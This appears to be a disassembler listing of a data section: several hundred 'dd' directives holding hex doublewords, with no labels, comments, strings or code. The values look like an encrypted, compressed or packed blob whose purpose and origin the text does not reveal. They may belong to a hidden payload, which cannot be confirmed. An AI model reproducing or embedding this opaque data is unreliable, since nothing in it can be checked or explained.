dd 10FF3102h, 94C113A7h, 0BA2DC4D4h, 0C13AD6B1h, 4711E7Eh
dd 6F77A406h, 2D400086h, 709605B5h, 151D5335h, 0EB400844h
dd 29C29D1Bh, 591BDC3h, 90D42BD1h, 0A1C64ECAh, 0C505CF80h
dd 446C26A8h, 0ED2801ACh, 0A85F5B08h, 6A246054h, 9549CD55h
dd 0EDE97061h, 979B570Fh, 4180AC12h, 0D1B6235Fh, 0ACFEA0Fh
dd 0F5B7BFF2h, 0EB07C84Fh, 0D331051Ch, 0F708DA98h, 0DB8740D2h
dd 0BDBCD17Fh, 1FAE881Dh, 20ABCB16h, 5AC26811h, 252BD183h
dd 27791926h, 7FE4F927h, 2E656812h, 6B743DBBh, 3C5C744Eh
dd 0F5155525h, 91AA5C17h, 2F9B620Fh, 396056D1h, 387C5FC2h
dd 9738575Ah, 65243306h, 0FE024E7Fh, 0FF809ACCh, 0D955D2E2h
dd 0A7904A9Dh, 25A67A47h, 8BAFF916h, 5CE24AB4h, 687598D7h
dd 18373627h, 0BE49029Dh, 30F7E9E8h, 62E368BBh, 0E7AB7D5Fh
dd 0C4F023C6h, 0B801C8B4h, 16B057E1h, 0F4FDE17Fh, 4D97AFB3h
dd 5E984C8h, 3141EB68h, 0D60C9BBEh, 36E9827Eh, 4183FBD0h
dd 49E9CC9h, 6073C9C1h, 76AF43BDh, 597FE9CAh, 161D2CF6h
dd 7A3AB635h, 2DFAC04Fh, 976BF480h, 6850759Eh, 31695A7Dh
dd 3629DF2Ch, 458103A5h, 9C312D6Ch, 1234A6BAh, 0EE0D2E9h
dd 9F2D07ADh, 50104A50h, 1F167CB3h, 6A91E92Fh, 4D87F568h
dd 6805F8D7h, 0D2306F4Fh, 945E028Fh, 5FE48BBDh, 680530C4h
dd 6388191Ch, 8031C705h, 100A645Eh, 0E181C2F6h, 46C805FDh
dd 3C02802Bh, 975B9FEDh, 0EA09CCA9h, 570905D3h, 88528F7h
dd 429A732Fh, 0D25FAD19h, 8F7F275Eh, 328897D1h, 5E540BA0h
dd 5B2E7FDh, 8958EFE9h, 0D059DDF6h, 0C498399Ah, 0E87A01ECh
dd 5105A95Ah, 8221F128h, 5C6D5AB2h, 0DB2A2477h, 52F86988h
dd 1EA26812h, 0B9C440B8h, 5030AE59h, 5BA20816h, 9206B221h
dd 76BAF4C2h, 96625AEh, 2B60B905h, 71C2303Bh, 402C7E5Ch
dd 466FFBB8h, 7B9660Eh, 1996290h, 81294EC1h, 7F00681h
dd 0E460FF48h, 50215FACh, 0C325C4D9h, 0FABE24DDh, 73F9C9EAh
dd 5803C15h, 5AF028DEh, 0AD2497E6h, 6E74ADA9h, 778F295Ah
dd 6BFC73h, 0FBE93E3Bh, 0AC895AAh, 0EF285ACFh, 579FE4Fh
dd 190100Fh, 5A273D1h, 0BFD549C4h, 0B38737ADh, 60637D73h
dd 7C9558F9h, 3B1C400Ch, 39B40DE0h, 0ABF578Ah, 8A915527h
dd 344D78BEh, 1C073BAh, 0D60288DAh, 201C05EFh, 0D5A74C86h
dd 0B6BEA710h, 9F56603Fh, 0B001B418h, 0D9B6959h, 7176CF00h
dd 467D3603h, 0E70E63Dh, 0DEC130FAh, 0B8ECD9E8h, 0F6E44927h
dd 9029ABh, 645C3BB0h, 0E92A505Fh, 801ED6EEh, 0B44273C5h
dd 40E53070h, 0F859E86Fh, 0E93812EBh, 0BFF24E9Fh, 0FA4B221Ch
dd 2DE967D8h, 53517F75h, 179BBE0h, 684D002Fh, 6361CE4h
dd 834AFEE9h, 53E572ACh, 0BADCE60h, 30062268h, 0BF9EFF07h
dd 5AA72E79h, 1F78CE49h, 0F7544C61h, 0EE446FD3h, 5F09374Fh
dd 929657h, 2FB6700Dh, 8102EDC1h, 340CCD0Fh, 0F586F83Bh
dd 98D0E043h, 26FB1F3Fh, 0A0299DACh, 6B400882h, 14B798E8h
dd 0F7F420AAh, 5295F2Eh, 463C342h, 0D91E13F6h, 99EFE793h
dd 48E23AD2h, 372084C4h, 0B1736B82h, 68EE6D8Ch, 5C87D60Eh
dd 50204EF5h, 0EAE534A1h, 6FACE8D1h, 0B70A28h, 8065B435h
dd 0B0A448CCh, 99903A3Eh, 0F0DE649Bh, 0FA4B46ACh, 0FFCAC179h
dd 0DD011C22h, 0F232F164h, 600D164Eh, 902E0A78h, 7E0F0075h
dd 0F8092A23h, 99B965E9h, 0BD9EF82Dh, 5378DFFCh, 859E4BE9h
dd 0C2E49C6Fh, 709A513Fh, 0A7DE74BFh, 4B9EBD8Fh, 0F9D23D8Ah
dd 0BB0200BDh, 0B7047346h, 23139280h, 709825E4h, 0FC269B09h
dd 0D6815FE2h, 805FFD21h, 647FE784h, 9F78179h, 7B47730Bh
dd 3D835A57h, 51123EFFh, 0DCB7044Fh, 0ECE6CD29h, 1D1318B9h
dd 0B6816EC5h, 5502F841h, 67F57177h, 4771B929h, 7EC717B2h
dd 0E83501C3h, 7165DC56h, 0CDFCF066h, 727CC997h, 5B248728h
dd 0DAB83183h, 21D9DB5Ah, 3B5430FBh, 52DD140h, 2B30BADh
dd 0CE91AB09h, 22E01A55h, 0FD0430E9h, 42746826h, 250232BBh
dd 51D076EBh, 1C40A728h, 59A6F301h, 3C9CB831h, 34346DB5h
dd 29D85A28h, 84053973h, 5D0BDA4Eh, 0BDB51655h, 0EB031796h
dd 0E955AB60h, 0CDD9C54Bh, 7570C5CDh, 83CBB06h, 2C0EC91Ah
dd 370C3E51h, 0B0D8A916h, 1A44101h, 6FA141E5h, 3BCBAFF9h
dd 0D89526FAh, 28D02441h, 209828AEh, 2C3B517Eh, 60EBAD77h
dd 12E5BBDAh, 0A87F8530h, 5CF20943h, 8B534210h, 0E5300098h
dd 4CEF7C11h, 65053F20h, 0BA78083Ah, 293ECE9Eh, 0B11CE913h
dd 68772AF4h, 7998FDD2h, 4968C192h, 433D2B56h, 0D334BB2Fh
dd 1268BA2Ch, 0AE7A169Fh, 9675D308h, 0F25F00EAh, 7BFEEBBEh
dd 710F4FB0h, 8021F155h, 0AD2714EEh, 0BE18D729h, 0D6014040h
dd 0B98BB3E9h, 1F1BBC57h, 0E112108Eh, 0A6B474BFh, 5E0C4317h
dd 5BE94070h, 204BDAD0h, 1F45D15Dh, 99689CD9h, 69EF2B0Ah
dd 0F6C30120h, 29215E1Dh, 14D1C46Fh, 4531E608h, 0A5544731h
dd 0EA60325Ah, 0BF245874h, 0C8937B73h, 22130FBDh, 35D6E336h
dd 0F0EF1106h, 8341A349h, 4B27C440h, 0C4660ADh, 339C74B8h
dd 490171B0h, 0E9617D52h, 8D2FC5E2h, 99D68E9h, 0D1274168h
dd 87C38C56h, 0CD48FE10h, 0D9FB2507h, 7242820h, 312D0296h
dd 40466F05h, 0E9D9A64h, 0EBD40E3Ah, 768F068h, 391F24BFh
dd 0EC15A512h, 0EEC10C73h, 0BC6A808h, 73476764h, 5C338CFFh
dd 17187405h, 8C3018Ch, 5C1695BDh, 0EA8917ADh, 0EF80E8A0h
dd 0CF7528B1h, 597EC775h, 7D6B0A2Dh, 0E404A6AFh, 165FEF94h
dd 138A42CEh, 8689B3ABh, 0BC3C5370h, 4F5E30D5h, 6102B252h
dd 97E9DAF6h, 6FC45539h, 6B8FBC35h, 0C0081E92h, 25B39D0Ch
dd 0A558D916h, 4CAF820h, 83071CBBh, 37B2C849h, 55A23208h
dd 12A2609h, 400E5BCBh, 272E006Ah, 213939DEh, 8AE0BFFCh
dd 11190C24h, 5FACD631h, 0B4F7AC3Fh, 9BB24782h, 6C5EBADAh
dd 4C4CC000h, 0E91BBE67h, 4C57255Ah, 75687C98h, 17DBB36h
dd 33F5389Eh, 5FDA98F7h, 27686651h, 375390Dh, 190FF5A1h
dd 12E9890Eh, 0FEB76F51h, 0B8F0B741h, 0E97512ACh, 256DA0B5h
dd 556E320Fh, 623C4B3Bh, 0A2017D68h, 0CB3E5341h, 0CAC807E2h
dd 4C2D5DB9h, 38B1DE72h, 4045200Bh, 85621E0Bh, 4C156177h
dd 0FB4EE87Ch, 3E0F743h, 0AD709745h, 0BF6E6272h, 78010F0h
dd 56024859h, 3D1921BEh, 38DE36Dh, 4FF68104h, 81D46441h
dd 715F105Ch, 490C8501h, 6880E7A3h, 0B6BDE9F0h, 7B7C2FD2h
dd 0A0526C09h, 3495DCB2h, 0D76971Fh, 0E36B0B8Fh, 2D7297Ah
dd 0E9621074h, 0D476463Eh, 46416012h, 7D3864BBh, 5D3A31F1h
dd 2781D0D9h, 5952F8ACh, 8D4C2E45h, 8F83A35Fh, 290990A0h
dd 0E15D2DF0h, 64F45EB2h, 6D4E9751h, 0B9FA1F6h, 0E9C65578h
dd 452D5B5Bh, 0C5AEB23Eh, 36EB9919h, 0A227A6E8h, 669AF79Dh
dd 48DAF001h, 0E58C70EFh
dd 4F2E0748h, 0E913C8F3h, 5D9CA035h, 7ECF3125h, 2053E28Ch
dd 92BD5A05h, 0F7C2F825h, 0CFC4C5DCh, 0B97A3ABh, 2CC4E3E9h
dd 24C286D9h, 83602E33h, 700212C7h, 3C0EDB3h, 98D763C4h
dd 34B97DBAh, 31E8DC72h, 4CEC6F5Bh, 2D1F6405h, 8CAEE874h
dd 25688C01h, 2AF6288Ah, 742477FAh, 20FDF167h, 2826C673h
dd 0E20AFFFCh, 0F381DD6Bh, 47BA3A4Bh, 808C0C30h, 409DC621h
dd 755D25Bh, 0CA816EA9h, 1B284309h, 2696EAB0h, 749AB34Ch
dd 0ABA6F40h, 31F170CFh, 2DB038Ah, 0EABA6C47h, 6F337761h
dd 743B9E2Dh, 80B9BFAFh, 2B685D09h, 3D162F2Ch, 0C8EFAFC0h
dd 90575256h, 8A2D1D4h, 582DBC48h, 3BE172E1h, 2EA444Bh
dd 0E07CCF61h, 24510815h, 1D595D64h, 0B5430602h, 0E69F3A29h
dd 240CC1FAh, 6EB0FC49h, 5A0E9EB7h, 0AE329EE9h, 0CB5FF6E6h
dd 0B08B4A24h, 0E8A0A217h, 5054C6C7h, 3DA68010h, 44C2E144h
dd 55908152h, 1372E3ECh, 4208EFC1h, 48AF0AC0h, 0D8ED5CA0h
dd 0E913B7C3h, 15E45D88h, 0C5430B6Fh, 66C3450Ch, 0D8F028C8h
dd 71346E5Ch, 6ABFF9F8h, 369401CBh, 7DFA8801h, 0E9F17221h
dd 1B177B1Eh, 0B55D68D8h, 7354B75Ch, 74625BE9h, 0EAC681A6h
dd 67820439h, 0B4707DC6h, 165E294Ch, 0C9AB8D55h, 3A802AA3h
dd 245C018h, 256BE1BBh, 69F73109h, 603419CAh, 2A76B75Fh
dd 0C259D4D2h, 0E918643Ch, 44F160CBh, 8058C530h, 107AF55Ch
dd 75489008h, 0BECC5F7Dh, 0CA548271h, 0B851A86Bh, 6D3226E9h
dd 0F7046FB5h, 0F8090085h, 0B05405Fh, 42612206h, 0AB78AD04h
dd 0AC442FDh, 1582BDB7h, 26926602h, 0D31E98B2h, 0A9055A16h
dd 30A26E4Ah, 58A5C310h, 0EF8A05E8h, 0D7EAD6E1h, 8C7D7B4Fh
dd 0ECAD0D28h, 2C1B48FCh, 2708C268h, 445A1B63h, 54CC3CEBh
dd 68FCA1BDh, 9A7E1678h, 30E94144h, 7B9F251Dh, 69688314h
dd 5891CB60h, 0CEA36F92h, 9368014Eh, 40180D32h, 0DF294508h
dd 64AF525Ah, 100C1AC0h, 0B07D1C12h, 0B554C04Ch, 561FE047h
dd 0D7F30DCBh, 6F3F7FCEh, 8FB77746h, 10080507h, 0BB0117B3h
dd 6D2D26F8h, 60D6714Bh, 0F19B2CCh, 45F42505h, 0E950A272h
dd 97E24DFh, 1D4912B6h, 90A12A0Fh, 0B4DC1D54h, 23166D6Ch
dd 0A59091Dh, 0B0F5817Fh, 4539C647h, 0D3559970h, 2701ABB4h
dd 23706850h, 52003E33h, 535107B2h, 0FDE4D788h, 0EB025B75h
dd 1D685A59h, 31546C19h, 0BE108D15h, 69967051h, 5E4AF5FAh
dd 0CF0B93C4h, 0EF754805h, 72161318h, 5A86EC84h, 8E59D983h
dd 5681390h, 1199B328h, 0C35A601Ah, 0E309FE35h, 0DDED93E9h
dd 7A9481E9h, 5958964Bh, 51556931h, 0DF046BC6h, 0E473AFC1h
dd 0D9521052h, 0BCA3625Eh, 0A9F1DD6Fh, 72F96841h, 4CA8986Eh
dd 17C2E659h, 84A058C1h, 808F4047h, 0BF89C626h, 1EEFF334h
dd 9A16604h, 342F571Dh, 0B37BC443h, 0F9978817h, 0CB0A31EFh
dd 0D0C634C0h, 0C90B5E98h, 5841465Eh, 4C68120Ah, 1D026014h
dd 93A8FE01h, 0CEB72AE2h, 0B03B9242h, 0BA69D2F7h, 2F98CBE3h
dd 525C31E9h, 0EEB6C44Eh, 165C80EEh, 5782CE20h, 8CB5C1E9h
dd 1024EE0Bh, 0F3302C72h, 6C400C8Bh, 91B8AC44h, 0F6D6809Fh
dd 0EF380DBh, 5BDC0825h, 0FBD6ECC5h, 0B652FF71h, 64EEC0F8h
dd 0C1015405h, 0C6FFBD5Ch, 0E526C04Ch, 0B7626D58h, 3B05004Ch
dd 6BFDE32Fh, 5A8C9F5Fh, 9D521C7Ah, 44557940h, 145284Ah
dd 949087E9h, 510A22Dh, 315A53D1h, 0BA4B30C5h, 9A2D41D4h
dd 0F03161Ch, 646B7628h, 5E0EA8D6h, 148E72FEh, 12DAF17Fh
dd 19F31552h, 415A85Ah, 1F95076Dh, 0BEE14C0h, 0E97E1778h
dd 2F9BA1B8h, 0F8D0C4E2h, 42FF510h, 7DEC685Fh, 628D0C8Dh
dd 3E138702h, 0F7C93483h, 7F98120Eh, 4CCC6280h, 0A2A06847h
dd 768D340Ah, 40D8F71Fh, 67F7045Ch, 2BF0AB64h, 68E60D89h
dd 2FE12738h, 642D6B40h, 7371602h, 0EA76F90Dh, 7E22F311h
dd 93A23755h, 0C80CD4Ah, 5E685366h, 0B4758CF3h, 0F480FD09h
dd 0EB3D47Fh, 0BA7742E9h, 63806565h, 98362B69h, 0D1889533h
dd 0BA5A1308h, 67B5B6CCh, 74F2817Ah, 0BE68D4A0h, 4F351AB8h
dd 7881FA5Dh, 0E76AE831h, 4EC716BEh, 5B7022EAh, 24564D6Ah
dd 0FE91F34Eh, 8000BC68h, 0BBA0DBC3h, 0E9D3696Ch, 0D4FBC812h
dd 0FE1AC578h, 26B1B0CCh, 57802Ch, 0CEFEF186h, 4FD29BE9h
dd 0FE2DA60Bh, 0BB059241h, 4C0158C5h, 397D0249h, 876CC43Bh
dd 8D1D5119h, 73CB7C74h, 0D060ECB7h, 8817C1DDh, 0C90AA989h
dd 7C5CAB07h, 0B0B59716h, 0C302BDD0h, 0F717132Ch, 0B1205DD5h
dd 0E275E8E5h, 63BF5650h, 18143F18h, 20034A18h, 0FA095234h
dd 0FCEDCBFFh, 1C5DD2ABh, 910C25CCh, 38D23466h, 0E10865B0h
dd 9D3AFB2Ah, 0A556E915h, 9304F94Bh, 5BFFDB0h, 30317E0Eh
dd 85A205BBh, 36C4AA47h, 2379B00Fh, 0F0817894h, 2C570FCBh
dd 4CD4223h, 0BE765109h, 54D60AC0h, 0E90C1231h, 8AA8C53Dh
dd 91FF4B77h, 247C596Ah, 411E4F96h, 2A9C918Dh, 2726E6EFh
dd 78567235h, 0EB34F473h, 0D4A6AEFCh, 8823B307h, 845B5BD9h
dd 0A8F9CB35h, 3FC5284h, 0C1F58851h, 922D9AA4h, 0B527974Fh
dd 5A82A067h, 1FD52D05h, 84BF4EBEh, 0E907036Dh, 0A90499BFh
dd 56A968E3h, 10C68CD8h, 6253B18h, 3D7E03C9h, 0E42A4E5Ah
dd 6B02CB4Dh, 0C106411Bh, 756042EBh, 0FF892C54h, 0C8408377h
dd 59640949h, 25F95F29h, 0E628DF09h, 0B37E254Fh, 81D448DFh
dd 211A0CCDh, 5E0C4D88h, 65391717h, 0ADA49600h, 1C056973h
dd 456A199Dh, 0E2DE801h, 95C35D07h, 1AFE8C49h, 0F0070551h
dd 882F1A5Bh, 0CB185606h, 0F62C879Ch, 0CC9D5BE9h, 0F4F4774Bh
dd 263F62C0h, 0C378405Ch, 8A180BA4h, 0DC785D1Ch, 5C5F81Ah
dd 455EFC1Ah, 4F9EB895h, 0E9F0A5E9h, 70BB7426h, 0A227D25h
dd 2EF34919h, 0DEC20DB4h, 9CBA006Fh, 87A6D18h, 40B3A655h
dd 7252EF81h, 2B86574Bh, 0B379BF7Ah, 2CAC0B12h, 42E1994Ah
dd 0B580BE96h, 5DEA0157h, 0B03EE395h, 4E292C09h, 82A537FAh
dd 235F5AD3h, 0D02C3DF6h, 0BDEF6835h, 5C9DDA52h, 22565AF8h
dd 555FF860h, 0C24D4FE9h, 0D1F79692h, 2C0421A7h, 0BE9513B9h
dd 0C2814990h, 0FF2A097Bh, 6A7D5D16h, 80DA5403h, 0DAD47EF5h
dd 0EB5C892Eh, 55502F54h, 8774E31Ah, 0EDE1410h, 0EB124F99h
dd 5061E79Dh, 50EE1831h, 11B80759h, 0A2205612h, 47D2931Dh
dd 0F95FE102h, 43CD3173h, 299CFE89h, 2CFF9242h, 2C014B41h
dd 0D67457F2h, 120EF5F9h, 32C0860h, 3381006h, 95E33606h
dd 50CCBFB5h, 1365D45Dh, 0FA3FF21Bh, 4BC11A98h, 6FC682E3h
dd 5AEBD00h, 0BB314E9Ah, 0C7FD2ED5h, 0EAFFE825h, 4BF9D0A1h
dd 7A38B39Bh, 0E06CDB6Eh, 810D5406h, 347D91EBh, 0F697FE0Ch
dd 3B1AA1CEh, 90B420BCh, 508161Ch, 0B4A4F176h, 850077F6h
dd 0B82DD654h, 0EA6F2F67h, 0C6501994h, 4205926Eh, 0F1605507h
dd 7100659Dh, 21BBD77h, 0B701F7BEh, 0FBB08D76h, 0C784D2E9h
dd 29414962h, 0CE47CA80h, 5597DED5h, 58858382h, 8C9455Fh
dd 90284602h, 2212C704h, 0FDBE3D18h, 0F1077BE1h, 69AD50A6h
dd 3F4A6DB3h, 1487F217h, 0C3422EAAh, 191CA020h, 5D89EDF7h
dd 0DA257DEh, 66096FCDh, 38FE806Bh, 78376368h, 0BDE90FC3h
dd 4117C23h, 67926F71h, 0C51EEA00h, 9C833182h, 0E092C2AFh
dd 21801DFh, 903410B0h, 75F6E75Dh, 0E15E7D34h, 0C2EAE595h
dd 465B4495h, 98FE539Eh
dd 0B928C87Ah, 3D3713E0h, 0F3F2A44Ch, 71E12012h, 4DA3A0Bh
dd 5001E72Fh, 0C977DFB8h, 42ACEC7Bh, 62093C92h, 37A128h
dd 1363BAC6h, 70E92D1Dh, 0F7922056h, 7AE49AE0h, 17499CB6h
dd 0F14AE852h, 0BF2AE0D3h, 0C8B9DA65h, 166C5084h, 7895CCBFh
dd 2DBB465Ah, 0E1FF6021h, 0CC4CF195h, 5A9B5DDEh, 5070BD03h
dd 33C7E91Bh, 981B33Bh, 0C6465A68h, 82014ECAh, 0C4FE5DFAh
dd 6C9977C9h, 27233D05h, 0AD8F56EAh, 2B6493C1h, 0F7EBBFC5h
dd 606B2D58h, 1D31B900h, 1236CA1Ah, 0F509E8CBh, 927F6E6h
dd 79F09E78h, 70B86880h, 0C7D3BF7Ch, 0C82F8CAAh, 0AFBC71E7h
dd 7425B4FEh, 2A8271DBh, 1AB74185h, 2E3BB007h, 57E7C710h
dd 1031978h, 2F60DCFBh, 39076450h, 7A82EF0Fh, 7E144299h
dd 50809490h, 0A7ED2DC0h, 987F9347h, 28634CF6h, 0F435DF82h
dd 7FCF77E1h, 0D3581F0Bh, 4E94AFEFh, 4F4CE916h, 58B7F388h
dd 7620D982h, 0DC904490h, 105B6834h, 77A415C0h, 5A542861h
dd 2D050BEAh, 22FE3C8Fh, 56030630h, 5B1501BEh, 0B0E9766Eh
dd 0FFCD2EBAh, 9079ED3Bh, 46970590h, 1D807535h, 0DB33CCBh
dd 224EE932h, 25704AACh, 4A1E50E7h, 0B26CAE50h, 0D0D9B75Ch
dd 5E951C0h, 9296CEB9h, 0EF2941C4h, 592F688Bh, 7671075h
dd 24C726Ch, 759BE181h, 0C67E5735h, 9E034802h, 0D8614332h
dd 40657A31h, 375A5129h, 4FF0B0F4h, 0C9FCCCD7h, 458C024Bh
dd 5F4A40BCh, 776B64BDh, 2B59B754h, 538818FAh, 8C680555h
dd 0D03A5103h, 64797262h, 1CB1595Fh, 854D03Eh, 0E11332A7h
dd 0C6F043E9h, 0F64102B2h, 0E0CA80DAh, 0BCB94357h, 7F68F890h
dd 0D6199715h, 1B17CF6Ch, 2DE878B8h, 77761C1h, 0F2A02E5Dh
dd 762E145Ch, 1C01C750h, 89EC69F4h, 27CB2FF7h, 0FE5FFB18h
dd 31814C3h, 0E5C04E72h, 7E8A2662h, 0A291D99h, 28B39DDh
dd 77EE0F4Fh, 24D5D07Dh, 933BCE74h, 2127EF29h, 0F9CD2BC2h
dd 0C48C8967h, 0B8CA4F33h, 69EE3178h, 0A7C8FE3Ch, 778AE2BBh
dd 52456DD9h, 0C2BDF2BFh, 0EC2B1F68h, 1BD42FA9h, 0C6929E71h
dd 0E2A605ABh, 35D8EE10h, 5230E163h, 30D427B7h, 0EB445C56h
dd 0D243B8AFh, 15C02BC4h, 4E2D0141h, 9AAF1B35h, 0EB6187C5h
dd 12CAC55Dh, 0E8ECF131h, 70121260h, 0F2BA5E1Eh, 74C3896Ah
dd 0FA74257Fh, 0F3CEF173h, 0C267B62Eh, 4C74E068h, 43362772h
dd 0C1E47572h, 835908C9h, 0AD7E9524h, 5D962B81h, 30DEB400h
dd 0F726EC79h, 1BFD5F6h, 5A2BBA51h, 13AD14Ah, 1538C8FBh
dd 653B3044h, 83DEB902h, 0A339E9h, 186E355Fh, 8129F53Ah
dd 797A66B6h, 306F3A68h, 0EFE95E32h, 1328A62h, 7D5042EEh
dd 2AB986D8h, 683640A7h, 0A80A4B2Bh, 0EA01B1FDh, 0D87A1849h
dd 0C341CADAh, 0A5CBB682h, 2FD21D9h, 5C07BA98h, 1D056921h
dd 0B7E3AE9Ch, 965AB84Ah, 58AC21C5h, 0DD58F1A2h, 2F54512Ch
dd 0ABB25316h, 447165Bh, 1B6AFD6Ch, 0C0D28AB6h, 2D58C5D3h
dd 62F4DDF7h, 0BB01472Bh, 30A75C7Fh, 6198C13Ah, 593E92D9h
dd 171841AEh, 2F72947Dh, 0B9A4EFC1h, 0EF9BF00h, 0C961D324h
dd 38130413h, 64B30D41h, 827E2645h, 667C5C50h, 5700B224h
dd 0D665E868h, 127F971Bh, 91EC532h, 612954E9h, 6115C5D5h
dd 6A64FFE9h, 0CE6B80B3h, 253B6C75h, 1BE47393h, 0A5577605h
dd 9D575E35h, 0C094CABEh, 517033BFh, 944A9814h, 0A9688471h
dd 1231AF6Eh, 88432AE3h, 7C6CBAE9h, 480588A6h, 83CB8100h
dd 0C815B60Ah, 0D3A5D122h, 85DA788h, 190290FFh, 0D56D1C56h
dd 2DCE6D08h, 6718835Ah, 0F3C2887Eh, 9DFE0463h, 0AF97E95Fh
dd 0CAFE9317h, 73455E7Ch, 5CEB527Eh, 0BBA956E0h, 711BC98Eh
dd 13D8B9DBh, 1A4EC56Bh, 4E80DBC4h, 2777C2CFh, 0AEF62925h
dd 0A284CACh, 89BFE912h, 7E84C8F2h, 0D4051326h, 0EC206540h
dd 0BFF124C5h, 0DE951950h, 4148F2D3h, 0C1BF5729h, 228155C7h
dd 69145ABAh, 22412E62h, 1FDF20F5h, 19CD0C85h, 0E2D3C071h
dd 0C63027A9h, 4F209A52h, 24486370h, 2D8A2C36h, 972D255h
dd 0FE4E2596h, 60F389D5h, 5B93780Dh, 0C316E07Bh, 0CE5508A2h
dd 8FEB0EF2h, 13331A51h, 0CAB7AB58h, 0AA4EDF58h, 0E67ACDDDh
dd 0A8E9829Bh, 0D0E47F13h, 0E25C8079h, 0CF220F1h, 6944685Dh
dd 4941AA2Dh, 2FA5DD2Bh, 5E2AF4E9h, 0CBF9BDFAh, 59B8DDC5h
dd 267C5E25h, 5D0D48F3h, 0BA7182A4h, 0E7098005h, 87EAFD86h
dd 0FE04D662h, 0A126D449h, 5B2640F4h, 0C5E0946h, 1BE91720h
dd 5826C9D2h, 0EB968B7Ch, 0BA2ABFE1h, 9795A228h, 0E599B48Bh
dd 0BD6C9254h, 1F5EA590h, 0AA624EABh, 35554E1Fh, 3AE04AC0h
dd 0EC3F4BD9h, 4255E2F5h, 14897E36h, 0ED2DC248h, 2765B6D7h
dd 24D9EA83h, 95B27AC9h, 7DB009FFh, 0DE275B4Dh, 53DAE278h
dd 99A2522h, 7EAD1779h, 6DEA0FD3h, 2681AC52h, 0A045425Fh
dd 0BD257AB8h, 54098AF5h, 4521DE27h, 8A0BEBD2h, 0C655551h
dd 0C17F54C9h, 6E385768h, 5CA4D537h, 0E952D858h, 61EDE04Ah
dd 0B5008158h, 5BFD3042h, 6B90EDC0h, 689E533h, 0BB95B749h
dd 6BE4A0EAh, 0C6ED4C64h, 2A49B1ABh, 0A86A2469h, 0F9EAF471h
dd 0CD5B2BBFh, 3EAE1C3Eh, 39BB5E38h, 5B412865h, 0E90B68F7h
dd 48778207h, 0C12E43BCh, 0C903802Fh, 11B6A9Dh, 0BE2625C6h
dd 250922F1h, 559CDF02h, 555B9EFCh, 9DC7BE8h, 0D782832Ah
dd 695B077Dh, 202A72A5h, 68172142h, 63601250h, 5CE72351h
dd 3A66056Ah, 0D6B703FFh, 0B0F501CDh, 0E49518DCh, 0EB1587DDh
dd 4D6CBE9h, 8650EDB4h, 0F60126C0h, 5806A1D7h, 580DCDCh
dd 0BA68F9E4h, 3287E34Ch, 5D0169E1h, 0F68E4B68h, 7D3BEB2Fh
dd 0D0F04C02h, 74766801h, 7E9E9D2Eh, 0E9873BADh, 32B94CC5h
dd 3D4E77B8h, 813BCF89h, 0D33C1AE4h, 0B1F00C5Eh, 981B98DBh
dd 0DA2BC0DAh, 5AD5315Bh, 5954D48h, 667F5CF5h, 8720FEE1h
dd 383E1799h, 81E1B867h, 13884A7Bh, 0CA580C82h, 56E93254h
dd 64157E4Fh, 0D6AE5984h, 34E9E920h, 0BCF8B963h, 10E4A119h
dd 0C6B4515Fh, 0E9417B94h, 25B938A2h, 735E0C80h, 2DE91051h
dd 1337860h, 4B2F68FAh, 0C25ACD2Eh, 80E3AC10h, 0B8005053h
dd 36807CBCh, 422CB35h, 56E90678h, 698AA6Eh, 3F0E62CEh
dd 985F7907h, 3E3A95B0h, 74A54DADh, 78D3ECC3h, 6EBBF3B9h
dd 75108AF2h, 0B6520924h, 8D09F536h, 172EF055h, 0C8EDE935h
dd 0B137312h, 32ED086Ch, 0BA540841h, 0D691FDBEh, 50ED3FA0h
dd 19A821C1h, 3E016208h, 0C4B9E3F3h, 0AF2A09h, 685146BFh
dd 40042353h, 0AB45E901h, 0EC67DDBBh, 0E595D888h, 0D85C96E7h
dd 3970019Dh, 56825E95h, 544FC898h, 5960C0E4h, 0B7FCCF9h
dd 4EE368EEh, 54C2449h, 0E62200EBh, 89590F37h, 55BDD00h
dd 6258636Eh, 2DE82829h, 9D08B207h, 7D42BAF3h, 8D02C6Eh
dd 4BF25E48h, 0EC7E64F5h, 0E11488B2h, 245D31E9h, 5E02F08Eh
dd 1525322Dh, 44E2DF23h, 28EA070Fh, 5A5DC1D2h, 3AF989FFh
dd 131D59B9h, 0E09D555Bh, 5EEB2D80h, 56C209BEh, 5D3D73E9h
dd 26A93D4Eh, 501D74B6h, 0AAB44Ch, 0EA8058E2h, 38D388EBh
dd 20DA7CE9h, 20478F69h, 0FA1CDD97h, 0D53CFD95h, 41396802h
dd 0D55F3D9Ah, 9BAD08h, 79C86484h, 0FAB05649h, 10D2534Eh
dd 2DCC75E2h, 6D544330h, 3063B6F5h, 860C6815h, 4709483Eh
dd 0DEF328E9h, 2D00CA57h, 2F563B19h, 0D1B347FBh, 927975E6h
dd 94E04528h, 5981C7A0h
dd 279C1363h, 5A5DA8C2h, 499A2011h, 31C4AD4Eh, 0EE2A6FE1h
dd 5E775B6Ch, 3C27BEFCh, 0AF4B82B9h, 0CB9AD559h, 5E16788Ch
dd 70CD53C0h, 0C136513Ch, 6756600Ch, 57D12017h, 0B2734E19h
dd 44803C8Eh, 0B853CEB9h, 0FF4E5143h, 41E0B3B8h, 474A16E9h
dd 17FA3BE4h, 0B634664h, 0B1FFC262h, 0C43F9C7Ch, 8DDDAB48h
dd 91E9F510h, 42FB91BAh, 0DA54A168h, 0BF37E961h, 3F6226A7h
dd 0E4F710DDh, 5054881Ah, 1348BB80h, 80057109h, 64EF38Dh
dd 5D29C325h, 73E3B780h, 337FEE52h, 0FB09DAF8h, 0D48914BAh
dd 0C9EB0339h, 1C93426h, 822A0CBh, 0EB135960h, 4E7D4C0Ch
dd 208E9945h, 802BBE3h, 7BE96490h, 4537276h, 4E7D3653h
dd 2CF3EA5Ah, 39AE5F72h, 0E95B8506h, 84303D2Ah, 728DB8h
dd 1205609Dh, 4066C546h, 3D50D00h, 0D0F72D1Eh, 64DB1F35h
dd 48FDE5FDh, 2DE90732h, 0C527DE69h, 5A2D31D0h, 0E505DD27h
dd 0F453D94Fh, 0BCC5E0BBh, 9AE472C8h, 166D1E08h, 8711D742h
dd 34F2A094h, 0FEA06535h, 2D2C0BEEh, 8E3E8338h, 0C9675A51h
dd 0C29A02E2h, 0D06E4032h, 0A782B14Eh, 5E62525Ch, 3E20F540h
dd 116C6598h, 0E90A2942h, 40A33AA3h, 676C020Dh, 6665F1F6h
dd 2CEE5C16h, 554C7B65h, 0C1A4D91Dh, 243D8270h, 81B1C283h
dd 0BD7577Dh, 0C70E8142h, 89DB408Ah, 0A7BC65EAh, 8330FFF0h
dd 38753DEAh, 0F0104AD9h, 194049B2h, 68941204h, 4953EEAEh
